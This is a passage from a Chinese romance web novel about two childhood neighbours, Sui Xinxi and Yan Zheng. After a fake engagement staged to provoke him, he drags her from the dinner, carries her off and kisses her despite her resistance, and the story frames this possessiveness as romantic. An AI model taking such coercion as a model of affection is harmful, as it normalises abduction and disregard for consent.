客厅里,隋涛原在看电视,见她回来,随口问了句:“小铮没事吧,你妈刚才急吼吼过去看啥?” 隋心喜含糊地应了句“没事”,就一头扎进了自己房间,反锁上门。 背靠着门板,隋心喜这才感觉腿有点发软。 她抬手摸了摸嘴唇,指尖似乎还残留着晏铮滚烫的体温。 她想起刚才那场惊心动魄的混乱,心乱如麻,摸出手机给王贤拨了过去。 电话一接通,隋心喜就迫不及待地将刚才发生的事情全部倒了出来。 电话那头沉默了足足半分钟,王贤显然也被这急转直下的剧情给整懵了。 “我靠,晏铮这小子还真他妈能憋啊,平时装得跟小绵羊似的,爆发起来这么猛?”晏铮终于爆出一句惊叹,又安慰隋心喜:“你先别急,冷静点。” “我怎么冷静啊!晏铮现在一个人在家,手还伤着,心里指不定怎么难受呢!而且我妈那态度,现在肯定更讨厌他了”,隋心喜急得在房间里转圈,恨不得立刻冲回对面,“你说我现在就给他发信息解释行不行?” 王贤沉吟片刻,耐心分析道:“我觉得还是先缓缓吧。你现在脑子里一团浆糊,情绪又这么激动,打字能说清楚什么?语气稍微不对,用词有点歧义,晏铮那种心思重的人,指不定会理解歪到哪里去。万一他钻了牛角尖,觉得你是在施舍他、可怜他,那更解释不清了。” 隋心喜觉得也有道理,“那怎么办,就这么干等着?我今晚肯定睡不着。” “你先调整一下心情,明天找他当面说就好了”,王贤顿了顿,又补充道:“如果……我是说如果,他经历了今晚这些,明天听了你的解释,还是放弃,那就说明你们可能真就不太合适,至少现在不合适。所谓强扭的瓜不甜,你想想是不是这个道理?” 王贤的话像一盆冷水,兜头浇在隋心喜滚烫的焦虑上,让她冷静了不少。 她看着窗外浓得化不开的夜色,也不确定明天是会等到一个渴望能听到的答案,还是一个让她心碎的句点。 —————————— 隋心喜一晚上翻来覆去,把第二天要和晏铮说的话在脑子里过了八百遍,床单都被她拧成了麻花。 窗外的天都蒙蒙亮了,她才迷迷糊糊地沉进一团粘稠的浆糊里,勉强睡了过去。 再睁眼,阳光已经明晃晃地照进屋内。她坐起身,抓过手机一看,都快中午了。 她立刻掀开被子跳下床,火急火燎地冲进卫生间。 镜子里的自己挂着两个浓重的黑眼圈,头发乱糟糟的。 她也顾不上那么多了,用最快的速度刷牙洗脸,趿拉着拖鞋就出了屋。 家里静悄悄的,估计爸妈都出去了。 那正好,她目标明确,直奔对门。 她用力拍着晏铮家的防盗门,手心都拍红了,门里却是一点动静都没有。 “晏铮!你在不在家?”她又用力拍了几下,侧着耳朵贴在门板上听,还是死寂一片。 一种不好的预感爬上心头。晏铮这个时候不在家?还是他真生气了,故意不开门? 她心里七上八下,正准备掏出手机打电话,庞夏蕊拎着购物袋上了楼。 她一眼就看见女儿穿着睡衣拖鞋站在晏铮家门口,眉头立刻皱了起来,“你在这儿敲什么呢?女孩子家家的,像什么样子!” 隋心喜顾不上她的不悦,赶紧问:“妈,你看见晏铮没有?” 庞夏蕊把购物袋放在自家玄关的柜子上,慢条斯理地换鞋,看都没看她,“他啊,一大早就出门了。我有个老姐妹,她闺女今年刚大学毕业,人长得水灵,性格也好。我看她跟晏铮挺般配的,就把联系方式给他了,让他去见见。年轻人嘛,多认识认识,没坏处。” 隋心喜只觉得脑子里像有什么东西炸开了,“妈!你给他介绍相亲?为什么不跟我商量?” “跟你商量什么?”庞夏蕊终于抬起头,眼神锐利地扫过来,“我给晏铮介绍个好姑娘怎么了?我这是为他好!你一个做姐姐的,也该替弟弟高兴才对。” “他需要你为他好吗?”隋心喜气得浑身都在抖,“你把他介绍去哪儿了?你告诉我他去哪儿了!” 庞夏蕊无视了隋心喜的追问,直接拎起购物袋往厨房走,“他去哪儿是他的事。你赶紧回屋把自己收拾收拾,看看你现在像什么样子!别一天到晚盯着对门,人家晏铮大学都毕业了,我给他介绍女孩子,他也不抗拒啊!” 隋心喜看着庞夏蕊的背影,强烈的被背叛感汹涌而来,只憋得胸口都要爆炸了。 两个她最亲近的人,居然只用了一个早上的时间,母亲就安排晏铮去相亲了。而他昨晚还强吻她,今天怎么就会答应呢? 她狠狠一跺脚,转身冲回了自己房间,拉过被子蒙住了头。 第35章 夜风带着刺骨的凉意,吹得路边的梧桐树叶子哗哗作响。 晏铮拖着脚步走进小区大门,整个人像是被抽掉了筋骨,说不出的疲惫。 他今天一天都浑浑噩噩,那个相亲局更是尴尬到极点。对方姑娘是不错,很有礼貌,但他脑子里晃来晃去的,全是隋心喜的脸。 就在这时,旁边梧桐树的阴影里,走出一个人影—— 隋心喜显然等了好一会,双手插在外套口袋里,肩膀微微缩着,抵御着夜里的寒气。 晏铮很是诧异:“现在已经很晚了,你在这儿干什么?” “等你”,隋心喜抿了抿唇,“我有话跟你说。” 昨夜一幕幕的不快闪过眼前,晏铮只想回家,把自己关起来舔舐伤口。 他移开目光,声音冷得像这夜风,“可我没什么要和你说。” “我有!”隋心喜往前一步,挡住晏铮的去路。 她抬起头,目光灼灼地盯着他,“晏铮,我们别再绕弯子了,我就问你一句话,你今天是不是去相亲了?” 这句话刺中了晏铮强装的冷漠。他停下脚步,看着隋心喜脸上的执拗,心里像被钝刀子割着。 她凭什么问,她有什么立场问,是她自己承认对王贤有意思,现在倒来质问他相亲? 积压已久的怨气冲了上来,烧得晏铮理智有点失控。 他扯了扯嘴角,露出一个报复的假笑,“是啊,去了。你妈介绍的姑娘,和我挺聊得来。姐姐这是在关心弟弟的终身大事吗?姐姐已经找到王贤这样的好归宿,弟弟也该抓紧点,试着追追女孩子。” 晏铮故意一口一个“姐姐”“弟弟”,这些词语都像烧红的烙铁,烫在隋心喜的心上。 唯一不同的是,之前一直是她强调他是弟弟,现在是他强调她是姐姐。 她只觉得一股酸涩冲上鼻腔,呛得喉咙发紧。 她连忙将指甲掐进掌心,用尖锐的疼痛逼回快要涌出的泪水。 她艰难吞咽一下,决定不和他计较,继续道:“你告诉我,之前你在我出租屋里,偷亲我的一下,还有昨天晚上强吻我,都算什么?” 终于问出来了。隋心喜像卸下了千斤重担,又像把自己推到了悬崖边,等待着最终的审判。 晏铮却是沉默半晌,告诉她:“算我那时候脑子进水了。” 他强迫自己忽略她的泪光,继续用她说过的话回敬:“不过我已经想明白,你的话是对的,家人才能一辈子。叫你姐姐,至少我不会再被轻易抛下。” 他顿了顿,声音低沉下去,“所以你放心,我现在不再喜欢你,以后也不会。” 此时此刻,隋心喜终于明白了自己的可笑和残忍。那些曾经的话语,现在变成了锋利的回旋镖,扎得她鲜血淋漓。 她原本都计划好了,只要晏铮今天表达出一丝对相亲的不满,或者态度软化点,她都会不顾一切地表白。 但现在,他已经明确说了不喜欢她,她的喉咙就像被滚烫的砂纸堵住了,又干又痛。 她低下头,落荒而逃。当脚步踉跄地冲进单元门洞的黑暗时,她的泪水再也控制不住,瞬间模糊了视线。 —————————— 时间就像永不停站的列车,从不会因为某位乘客的悲欢而滞留站台。 隋心喜再见到王贤,已经是半年后。 他来她新租的公寓找她,一见面就夸张地哇哇大叫,“姐妹啊!你你你……你这是把哪个科技展的仓库搬家里来了?” 他指着玄关旁边摞得几个大纸箱,上面印着最新款VR眼镜的logo;视线扫过客厅,一个扫地机器人立在墙角;再往上,二楼的开放式小书房兼工作区更夸张,全新的显示器、主机箱、键盘、造型奇特的音箱……挤满了每一寸能放东西的平面。 王贤吸着凉气,嗓门拔得老高:“老实交代,你是不是被哪个科技巨头包养了?还是中彩票头奖了瞒着我?你这小Loft,上下两层加起来也就屁大点儿地方,愣是让你塞了那么多新产品,这得多少钱啊?” 隋心喜坐在沙发上,捞过一个抱枕抱着,“瞎嚷嚷什么,你没钱买吗?” “这不是钱不钱的事”,王贤跟发现了新大陆似的,凑到那个扫地机器人跟前,“这个型号,还在预售期,官网预订都排到明年了,没点特殊渠道还搞不到。” “还有那个显示器,我刚在科技博主那儿看过评测,死贵死贵的!隋心喜,你不对劲,非常不对劲!”他扭过头,眼神里闪烁着八卦的精光,“你不是找了个新工作,你是找到了一只会下金蛋的□□?快说,金主爸爸是谁,帅不帅?” 隋心喜把脸埋在抱枕里,声音更闷了:“什么金主爸爸,瞎扯,都是快递送来的。一般是过节的时候,什么情人节、七夕,连儿童节都有人送。没署名,就一张卡片,写着‘节日快乐’。” 王贤一听,更来劲了。他几步蹿到沙发边坐下,“匿名追求者?这手笔,这品味,这持久力,够浪漫啊,我瞧你也没整容,魅力值什么时候爆表了?是不是你新同事,还是哪个神秘客户啊?” 隋心喜摆摆手:“浪漫什么,这些东西占地方不说,好些我根本用不上,包装都懒得拆。” 她叹了口气,眼神发空,“我猜,可能是晏铮。” “除了他,谁这么闲得慌,又这么有钱烧得慌?而且我后来才知道,我现在这家公司的老板,跟他那个维恒,也有不少生意来往。我面试那会顺利得不像话,现在想想,搞不好也有他的功劳。” 王贤脸上的兴奋劲收了收,“那你就这么干猜着?也不直接问他?” 隋心喜嗤笑一声,“算了,懒得问。问了又能怎么样?就算他承认了,我还能给他把东西退回去?退回去地址写哪儿,写他公司,还是写我以前的出租屋地址?” 在那场不欢而散后,隋心喜在家又躺了几天,就回江市找工作了。她也不好意思再和晏铮同一屋檐下,连夜收拾好东西搬出来。 晏铮当时是知道的,不过他没拦,也没问,就像默许了两人的远离。 王贤见隋心喜这样,心里的愧疚感又冒上来了。 这半年,好友虽然换了工作,租了新房子,表面上看是开始了新生活,但他知道,她根本没过去心里那道坎。 她整个人像是被抽掉了精神气,对什么都淡淡的,除了工作,就是窝在家里。 他懊恼地抓了抓头发,挪着坐近了些,“真是对不起啊!都怪我,半年前出的馊主意,把你俩搞崩了。你们后面一直都没有联系吗?” 这段时间,隋心喜刻意避开所有可能遇到晏铮的场合,他也默契地没有出现。两人像两条短暂相交又迅速分道扬镳的线。 她苦笑一下,指了指满屋的东西,“也不算吧,还有匿名联系着呢。” 王贤看着她强装无谓的样子,心里更难受了,同时那好管闲事的劲儿又上来了—— 隋心喜不能再这样半死不活的下去,看着就让人着急;晏铮那小子也是,明明放不下,搞这些偷偷摸摸送东西的把戏。 两个别扭精! 王贤脑子飞快运转着,一拍大腿,“心喜啊,我们不和他玩什么虐恋情深哑谜游戏了好不?” 隋心喜皱眉看他:“那你想怎么样?冲到他公司去,揪着他领子问?” “问了也白问,那小子嘴硬,你又不是不知道”,王贤眼睛闪烁着熟悉的要搞事情的光芒,“咱们得来点实际的,下点猛药!” 隋心喜警惕地看着他:“你又想干嘛?王贤,我警告你啊,半年前你那药差点没把我送走。我可经不起第二回了。” “这回绝对不一样!”王贤信誓旦旦,耐心分析:“你看啊,你俩一个行尸走肉,真死;一个匿名送礼,装死。现在我们只需要一个大动静,把这潭死水彻底搅浑!” 隋心喜听得一个头两个大,“你能说点人话吗?” “订婚!”王贤掷地有声地吐出两个字。 隋心喜差点被自己的口水呛到:“什么玩意?” “订婚!”王贤又重复了一遍,眼神无比认真,“咱俩假订婚,演一出大戏!” 隋心喜像看疯子一样看着他,抓起抱枕就要扔过来。 “哎呀,听我说完!”王贤连忙按住她,“这次我们来个订婚宴,场面搞起来。” 隋心喜无力吐槽:“然后呢?等着他来砸场子,还是等着弟弟祝姐姐姐夫幸福?” “就是等着他来!”王贤一打响指,“晏铮他对你,占有欲强得要命。你要是突然宣布跟我订婚了,他能忍得了?他要是能坐得住,不来闹,不来抢……那行,我王贤把名字倒着写!咱也彻底死心,说明这男的对你也就那样了,配不上你惦记他这半年!” “他要是忍不住,来了……”王贤嘿嘿一笑,眼神狡黠,“那不就什么都好说了吗?他总不能再缩回去当乌龟送快递吧,这不比你现在猜他送东西是几个意思强一万倍?” 隋心喜沉默了。王贤的话像石头一样砸进她心里,荡起一圈圈涟漪。 这半年,两人虽然断了联系,但她骗不了自己。 她每天下班回到这个堆满他匿名关心的loft,那种空落落的感觉从未消失。眼前冰冷的机器,更像是无声的提醒。 可是,这主意听着比上次还要疯。无论晏铮来不来,爸妈那边都不好交代。 上次假扮男友就够他们念叨的了,再来个假订婚,她妈轻说拿擀面杖追着她打三条街,重的就直接断绝母女关系了。 她纠结得要死,最终还是摇摇头。 “姐姐,我的亲姐姐!”王贤急了,抓住她的胳膊晃了晃,“你觉得现在这样就好吗?你天天对着这些他送的东西,心里舒服吗?我都说了,最差的结果,无非就是晏铮不来,那你正好死心,彻底翻篇!你把这些破玩意都扔了,或者挂闲鱼卖了换钱,然后该吃吃该喝喝,找个真能处的,气死他!无论怎么样,总好过你现在自己折磨自己吧?” 是啊,现在这样就真的好吗? 隋心喜觉得自己就像一只被困在透明玻璃罐里的飞虫,看得见外面的光,却怎么也飞不出去。 王贤的计划,像一把锤子,敲在罐子上。 碎了会痛,会难堪,但至少,空气也能进来了。 她深吸一口气,对王贤点点头,“行,就按你说的办。这出订婚大戏,我跟你演了。” 第36章 同事们都走了,办公室里只剩下晏铮一人。 他对着屏幕上一行行代码,手指在键盘上敲得飞快。 快十点钟的时候,手机响了。晏铮瞥了一眼来电显示,按下接听键,“喂,庞阿姨?” 庞夏蕊:“小铮啊,还在加班呐?” “嗯,有个模块急着上线”,想到庞夏蕊很少这个时候打电话过来,晏铮渐渐坐直了,“您是有什么事吗?” 庞夏蕊笑了笑,“是这样啊,心喜和王贤终于要定下来了。这个月八号有订婚宴,正好是她生日那天。” 晏铮礼貌的微笑僵在嘴边,眼前闪过两人最后相处的画面,她在夜风中给他留下了一个伤心欲绝的单薄背影。 是不是正因如此,才几个月不见,她就要嫁人了? 他觉得自己全身血液都凝固了,耳边只剩下庞夏蕊拔高的音调。 “他们两个工作也忙,不好请假回来,订婚宴就在江市办了算了。我们没什么走得近的亲戚朋友,就想着你从小跟心喜一块长大,跟亲弟弟也没两样。你又在江市工作,到时候你能不能作为娘家人,过去给心喜撑撑场面?也显得我们重视。” 晏铮心口一抽,接着就是又沉又紧的闷痛。他本想死死压着,但气都喘不匀了。 他发不出任何声音,也不想再听一个字,直接按下挂断键。 几秒钟的沉静后,晏铮一下站起来,抓起椅背上的外套,大步流星地就往外走。 夜晚的街道空旷,他飙车到隋心喜楼下。 他一脚刹车踩死,推开车门就冲进了单元门。 电梯慢得让人心焦,他烦躁地连按了好几下上行键。 电梯门一开,他直奔烂熟于心的门牌号,抬手就开始砸门。 过了一会,门开了,却不是隋心喜。 王贤穿着件家居服,头发有点乱,像是刚洗过澡,脸上带着点被打扰的不耐烦。 不过,他一看到门外的晏铮,那点不耐烦瞬间变成了毫不掩饰的胜利者笑容。 “哟,稀客啊”,王贤一条胳膊撑在门框上,丝毫没有让晏铮进去的意思,也没有要叫隋心喜出来的打算,“晏总,大晚上的跑我们家来砸门,这不太合适吧?” 晏铮听着“我们家”三个字,太阳穴突突直跳。他盯着王贤那张碍眼的脸,声音从牙缝里挤出来,“隋心喜呢?让她出来!” 王贤挑了挑眉,脸上的笑容更深了,带着赤裸裸的炫耀,“她累了,刚睡下。晏总找她有事吗?有什么话跟我说也一样。她现在的事,都归我管。” 晏铮眼睛都红了,他往前一步,“你他妈少在这跟我装!让隋心喜出来,我有话问她!” “啧,晏总火气别这么大嘛”,王贤一点没被他的气势吓到,反而好整以暇地换了个姿势,依旧稳稳地堵着门,脸上甚至带上了点怜悯,“我知道你什么意思,不就是听说了我俩订婚的事,急了。你想跑来质问,省省吧。” 他欣赏着晏铮变得铁青的脸色,缓缓补充:“我告诉你晏铮,以前是我跟隋心喜闹着玩,陪着演戏,现在我俩戏假情真了。所以从今往后,有我在,你甭想再靠近她一步。” 晏铮的拳头攥紧了,指关节捏得咯咯作响。他真想一拳砸在王贤充满挑衅的脸上,然后冲进去把隋心喜揪出来问个清楚。 就在这时,不远处的电梯门开了。一个穿着睡衣的中年女人走了出来,看样子是刚下楼扔垃圾回来。 她看到晏铮和王贤两个大男人在门口剑拔弩张的样子,尤其是晏铮那副要杀人的表情,脚步顿住了,眼神惊疑不定地在两人身上来回扫。 那目光像一盆冷水,兜头浇在晏铮头上。 他知道隋心喜最讨厌被人指指点点,也怕麻烦邻居。 他脑子里闪过她可能因此遭受的非议和尴尬,那股不管不顾的蛮劲,一下泄了。 他攥紧的拳头慢慢松开,只是手还在微微发抖。他深深剜了王贤一眼,转身离开。 电梯门合上,隔绝了王贤那张令人厌恶的笑脸,也隔绝了那扇他再也无法轻易踏进去的门。 回到车里,晏铮没有立刻发动车子,而是戳着屏幕找到隋心喜的号码,拨了过去。 在冰冷的忙音后,他挂断了电话。过了一会,他再打,依旧是忙音。 他不死心,挂断,再打。但连续打了半个小时,全是这种单调重复的忙音。 隋心喜是一直在和别人打电话,还是把他拉黑了? 想到后一种的可能性,晏铮的呼吸声都重了。 他退出通话界面,点开微信,迅速给隋心喜发去信息,【接电话!我找你!】 消息前面顿时出现了一个红底白色的感叹号,下面一行小字:【消息已发出,但被对方拒收了。】 手机屏幕的光映着晏铮没有血色的脸,和那双骤然失去温度的眼睛。 她果真把他拉黑了? 就为了那个所谓的未婚夫,她把这个有着十几年感情的“弟弟”踢出了她的世界,连问一句的机会都不给? 他的心脏像是被一只无形的手狠狠捏碎,剧烈的疼痛之后,暴戾的情绪如同火山熔岩喷涌。 他将手机狠狠砸在方向盘上,车子的喇叭声划破了小区的宁静。 晏铮喘着粗气,所有的痛苦渐渐汇聚成一个疯狂的念头: 她是他的,没有人能从他身边抢走! 他一定要得到她,不惜任何代价! —————————— 楼上,隋心喜的Loft里。 王贤关上门,快步走到客厅的落地窗边,小心翼翼地撩开窗帘一角往下看。 他一脸看好戏的兴奋,“他还没走,在车里坐着呢。” 隋心喜一直在房间里,根本没睡。 此刻她也走到王贤身边,探头往下看,只看到车顶。 她不安地绞着衣角,问:“你刚才说的那些话太损了,晏铮是不是气疯了?还有他一直打我电话,我设了免打扰,然后微信也拉黑了,这样会不会太过分?” “不过分怎么行?”王贤放下窗帘,正色道:“不把他逼到墙角,不把他那点自欺欺人的幻想打碎,他怎么会看清自己的心?你看他今天这反应,接到你妈电话就杀过来,这火冒三丈的劲儿,像是放下了吗?他要真放下了,就该说声恭喜,然后该干嘛干嘛去。他这样,就说明有戏!” 隋心喜沉默了一会,走到沙发抱着抱枕,声音闷闷的:“那万一到了订婚那天,晏铮真的没来,我们这戏可怎么收场?我妈我爸……” 王贤拍了拍胸膛,“都说了叫你放心,这事儿包在我身上。” “你忘了我是干什么的,短剧演员,临场应变是基本功。我都想好了,如果晏铮不来,我就和你爸妈说,今天这订婚宴啊,其实是我给你准备的生日整蛊!你爸妈顶多是骂我不懂事,不会把火烧到你那儿。而且你还可以装得很生气,趁机和我提分手。这算盘,怎么打怎么响!” —————————— 离和爸妈约定的时间还有十五分钟。 隋心喜坐在酒店包厢内的圆桌边,手指无意识地在暗红绒布上抠来抠去。 “别抠了,再抠那桌布要让你抠出个洞来”,王贤的声音把她从一团乱麻的思绪里拽出来一点。 他坐在她对面,翘着二郎腿,手指在手机屏幕上划拉着,比她轻松自在多了。 隋心喜勉强扯了下嘴角,没吭声。她的眼睛不受控制地瞟向门口,心跳咚咚地撞着肋骨。 “诶,给你看个东西”,王贤摸出个小巧的丝绒盒子,里面躺着一枚戒指,戒托镶着一圈水钻,“怎么样,够不够唬人?组里拍戏用的道具,我顺手牵羊拿出来了。你待会小心点,用完我还要还回去的。” 话音刚落,那扇厚重的雕花木门就被人推开了。 晏铮站在门口,下巴和两腮蒙着层青黑的胡茬,眼底下两团明显的乌青,眼睛里红血丝不少,像是熬了不知道多少个大夜。 他扫了一眼王贤手中的戒指,冷笑出声,直奔隋心喜。 王贤立刻站起来,一个箭步挡在隋心喜和晏铮之间,脸上挤出复杂的表情,“坐吧,晏铮。” “滚开!”晏铮右手一抬,蛮横地搡在王贤的肩膀上。 王贤“哎哟”一声,被推得踉跄着退了好几步。 他捂着肩膀,看着晏铮,眼里除了表演出来的愤怒,还有真实的惊讶——这小子力度真他妈的大。 一切都发生在电光火石之间。隋心喜只觉得眼前一花,一股不容抗拒的力量就将她从椅子上拽了起来。 晏铮扣住她的手腕,往前的步伐又大又快。 她什么都来不及说,只能跌跌撞撞地跟在他后面,高跟鞋在地上踩出凌乱的声音。 两人刚到走廊,就差点撞上来人。 “哎呀,小晏也到了?正好……”庞夏蕊原本一脸喜色,但当她看到女儿被晏铮像抓小鸡崽一样拖着走时,剩下的话就戛然而止了。 隋涛原也反应过来,上前一步就要阻拦:“小铮,有话好好说!你……” 晏铮像是没听见,眼皮都没朝他们抬一下。他所有的注意力都在隋心喜身上,直接强硬地带着她从庞夏蕊身边挤了过去。 庞夏蕊气得浑身发抖,“晏铮!你反了天了,你给我站住!” 隋涛原也急了:“心喜,怎么回事?” 但晏铮的速度太快了。他拖着隋心喜,几步就冲到了电梯口。 正好电梯门开着,他将隋心喜塞进去,自己也闪身挤入,手指用力戳在关门键上。 电梯门在庞夏蕊愤怒的叫骂声和隋涛原焦急的喊声中合拢了。 密闭的空间里,只剩下他们两个人。电梯缓缓下行。 隋心喜靠在电梯壁上,手腕火辣辣地疼。晏铮背对着她,肩膀绷得像块坚硬的石头,她能清晰地感受到他的低气压。 到了地下车库,晏铮又是迅速将隋心喜塞进自己车里,“砰”地一声甩上车门。 隋心喜深深呼吸着,侧头看着坐上了驾驶位的晏铮,终于找回自己的声音,“你要带我去哪?” 晏铮没回答,一脚油门下去,车子像离弦的箭一样窜出车位。 车库里柱子很多,他的车速却快得吓人,每一次转弯都带着不管不顾的狠厉。 隋心喜手心里全是冷汗,不由地抓住了车门扶手。 第37章 轮胎蹭着路牙石,发出一声刺耳的摩擦,车子停住了。 隋心喜被安全带勒得胸口一闷,心也跟着晃悠。她喘了口气,这才扭头看向车窗外。 斑驳的居民楼,墙皮掉得一块深一块浅,楼下的大树还在。这不就是她之前租的小区吗? “你来这里干嘛?”隋心喜半年前搬走的时候,还特意问过房东,他说晏铮也不续租了。 晏铮没有回答。他解开安全带,下车绕到副驾驶那边,大力拉开车门。 隋心喜看着他,试图从他脸上找到一点点熟悉的温顺影子,但什么都没有。 她本能地觉得危险,“晏铮,我们谈谈好不好?” 话音刚落,晏铮便俯身进来,一条手臂穿过她的膝弯,另一条手臂揽住她的后背,直接将她从座椅上抱了出来。 这太疯了! 隋心喜能感觉到路边有人投来的目光,这让她恨不得原地消失。 “你放我下来,有人看着呢!”她惊呼出声,手脚并用地挣扎着,高跟鞋也差点甩掉一只。 晏铮对她的推攘像没感觉。他用脚踢上车门,抱着她,转身就朝单元门走去。 楼道里一股子潮湿的霉味,混着不知道哪家炒菜的油烟味,跟隋心喜记忆里的一模一样。 感应灯大概又坏了,只有高处窗户透进来点昏暗的光。 老楼没电梯,楼梯又窄又陡,晏铮开始一步一步往上爬。 隋心喜被他横抱着,头贴在他胸口,能听到他心脏在胸腔里狂跳,跟他那副冷冰冰的样子完全对不上号。 这感觉太混乱了,她索性不挣扎,僵硬着身体,任他抱着往上走。 爬到四楼,晏铮在那扇熟悉的贴着褪色福字的防盗门前停下。 门开了,屋里没灯,只有月光洒在客厅的地板上。 隋心喜的眼睛逐渐适应了屋内的光线。 她诧异地发现,屋内的摆设和她搬走时差不多。就连那张她用来工作的小折叠桌,也还在墙角立着。 晏铮终于把她放下。 她想着呼吸新鲜空气,往后退了两步,他却以为她要逃走,又扣住了她的后脑勺和腰,滚烫的嘴唇压了过来。 不可以!她不能这么不清不楚! “唔……放……开!”隋心喜挣扎着偏开头,声音从嘴唇的缝隙里挤出来。 她用尽全身力气,双手抵在晏铮硬邦邦的胸膛上,猛地向外一推! 晏铮大概没想到她反抗这么激烈,被推得向后一个趔趄,松开了她。 两人沉默了几秒,只有呼吸声在屋子里拉扯着。 突然,隋心喜隐约看到晏铮脸颊的位置,有微弱的反光。 她愣了一下,随即听到了压抑的抽气声。 “你就……这么讨厌我吗?”晏铮开口,声音嘶哑得完全变了调。 那点微弱的光又闪了一下,这次隋心喜看清楚了,是一滴又一滴的眼泪,顺着他紧绷的下颌线滑落下来,砸在地板上。 在隋心喜的记忆里,晏铮很小就不爱哭了。 就算是他爸妈刚没那会,他被那些亲戚欺负得很惨,也只是咬着牙,眼睛红得像兔子,硬是一声不吭。 后来他长大了,在她面前总带着点笑,像只温顺的小狗。 她努力定了定心神,但声音也哑了:“你今天为什么在酒店那样带走我?又为什么把我弄到这个全是过去影子的老房子里?就为了……为了对我做这种事?” 晏铮的呼吸停滞了一瞬。他抬手,胡乱地在脸上抹了一把,眼泪似乎止住了,但破碎的哽咽感还在喉咙里。 又是令人窒息的沉默。时间一点点爬过去,每一秒都像被拉长了。 “我害怕”,他终于再度开口,带着浓重的鼻音,“怕你结婚了,怕你不理我了,怕以后再也见不到你了。” 这不是隋心喜预料中的答案。但他的恐惧如此直白,如此卑微,像一把生锈的钥匙,猝不及防地捅进了她心里的角落。 这一刻,他不是那个在生意场上说一不二的年轻老板,只是一个十岁就家破人亡,只有隋心喜给过暖和光的晏铮。 就在隋心喜心神震动时,晏铮眼里的脆弱,被更滚烫的东西所取代。 他再次上前,将她勒进怀里,贴着她耳边道:“隋心喜,我试过放你走,试过看你和别人在一起。可是我很难受,难受得快要死了。” 他的拇指用力摩擦着她手腕内侧细嫩的皮肤,激起她一阵阵的战栗,“你是我的,从来都是。” 他开始吮吸她的下唇,带着惩罚和标记的意味,然后舌尖蛮横地撬开她因为惊愕而微张的齿关,长驱直入。 他的吻变得狂乱,带着要把她生吞活剥的凶狠,却又夹杂着颤抖和渴求,像是溺水的人抓住最后一根浮木。 他掠夺着她的呼吸和思考能力,烟草的苦涩混合着他眼泪的咸涩,弥漫开来。 隋心喜被他反剪着双手,鼻间口腔里全是他霸道的气息。 复杂的情绪像潮水一样淹没过来,有心疼,有委屈,有长久以来的压抑,还有一种被此刻的亲密接触点燃的深埋渴望。 她挣扎的力道,不知不觉间,消失了。 晏铮感觉到这细微的变化,心头一阵狂喜,试探着松开了对她的钳制。 她缓缓睁开蒙着一层水汽的双眼,然后做了一个让晏铮不敢相信的动作。 她的手指摸索着,抓住了晏铮衬衫的前襟,用力一扯,几颗纽扣应声崩开。 这个回应像一桶滚油,浇在晏铮本就熊熊燃烧的□□上。 他不再给她任何思考或退缩的空间,手也不满足于仅仅抱着她。 隋心喜闷哼出声,感觉自己像一块被放在热铁上的黄油,正在他霸道的掌心和亲吻下迅速融化。 所有的理智、所有的顾虑、所有的分离和痛苦,都在这一刻被汹涌而至的情欲洪流冲刷得七零八落。 她仅存的意识告诉她,她想要这个。 想要这个从小一起长大、让她心痛又放不下的男人。 就是现在,就是这里。 —————————— 天亮了,窗帘缝里透进来的光线刺得隋心喜眼皮发酸。 她想坐起来,却发现浑身骨头都像被拆开又装回去,酸疼得厉害。尤其后腰和腿根,又沉又木。 她偏过头,晏铮就躺在旁边看她,眼内血丝未退。 她揉了揉眼睛,问:“你一晚上没睡?” 晏铮没回答这问题,胳膊一伸就把她往怀里搂,动作快得像怕她跑了。 “对不起”,他声音闷闷的。 隋心喜没明白这道歉从哪来的,“什么?” “昨晚的事,对不起,我不该那样强迫你”,晏铮抱得更紧了点,下巴蹭着她发顶,“但我真的受不了你再从我眼前消失。之前那半年够长了,长得我快疯了。” “你可以恨我怨我,我都认了。你如果还想跟王贤结婚也可以,我不会阻拦”,他这话说出来,自己都觉得刺耳,“你只要留个位置给我,偶尔想起我就来找我。” 隋心喜怔住了。她知道晏铮从小到大都有很强的自尊心,但没想到,他宁可做见不得光的第三者,也要留在她身边。 她的眼眶止不住地发热起来。她和他拉开一点距离,认认真真地告诉他:“晏铮,我不会和别人结婚。” 晏铮神色僵住了,显然不敢相信。 隋心喜吸了吸鼻子,抬起手,摸了摸他刺刺的下巴颏儿,重复道:“我不跟王贤结婚,以后就只和你在一起。” 晏铮直愣愣地看着她,眼圈以肉眼可见的速度泛红,泪水滑落。 大概觉得不好意思,他又把脸深深埋进她颈窝,身体却控制不住地抖着。 隋心喜心中又软又涩,像被泡在温水里。 她没再说话,只是用手臂环住他,一下一下拍着他的背,像很多年前安慰那个缩在她家沙发角落里沉默的小男孩一样。 就这么抱了好一会,晏铮的情绪才慢慢平复下来。 他的眼睛和鼻头都红红的,像只委屈的大狗。 他低头又想亲她,却被她偏开了头。 她有些羞赧地开口,“不要了,身上有点……难受,我得去洗澡。” 晏铮却没有一点松劲的意思,“是不是昨晚太累了,我抱你去。” 他说着,根本不等她回答,直接手臂一用力,就把她从被窝里抱起来。 “哎,我自己能走!”隋心喜吓了一跳,本能地搂住他脖子。 “乖点。”晏铮不理会她那点微弱的反抗,几步就进了浴室。他调好水温,热气慢慢弥漫开。 隋心喜认命了。她刚去拿沐浴液,他就接替了她的动作。 热意迅速蔓延开来,昨晚混乱炽热的记忆碎片不受控制地在脑子里闪回。 她鸡皮疙瘩都起来了,扭着身子想避开,他的气息却追着不放。 他甚至故意恶劣的发问:“怎么洗不干净?” 隋心喜再也控制不住,眼泪混着花洒的水流一起往下淌,哭求破碎不堪,每一根神经都在疯狂跳动。 最后的结果,就是他看着怀里瘫软的女人,眼底的暗色浓得化不开。 他关掉花洒,用浴巾裹住她湿漉漉的身体,再次把她抱了起来。 隋心喜这下连抗议的力气都没了,只得任由他抱回那张凌乱的大床。 第38章 晏铮把车停在老家小区楼下,熄了火。 他手指在方向盘上敲了敲,深吸一口气。该来的总得来。 他刚走到隋心喜家门口,还没来得及按门铃,就听见里面吵架的声音。 庞夏蕊怒火中烧,“隋心喜电话不接信息不回,这都几天了?她跟晏铮到底怎么回事,你当爸的一点不着急啊,我要去报警你拦什么拦?” “哎呀,你小点声,小点声!”隋涛原的声音紧跟着响起,“我能不着急吗,我这不是也在想办法联系吗?心喜是大人了,她有分寸……” “有分寸?有分寸能让人在订婚宴上直接拽走?这叫有分寸?”庞夏蕊的声音拔得更高了,“王贤那孩子怎么办,人家做错什么了?还有晏铮,我就知道这小子没安好心!他现在翅膀硬了,敢这么干,把心喜当什么了,把我们当什么了?” 晏铮皱眉听着,不再犹豫,按下了门铃。 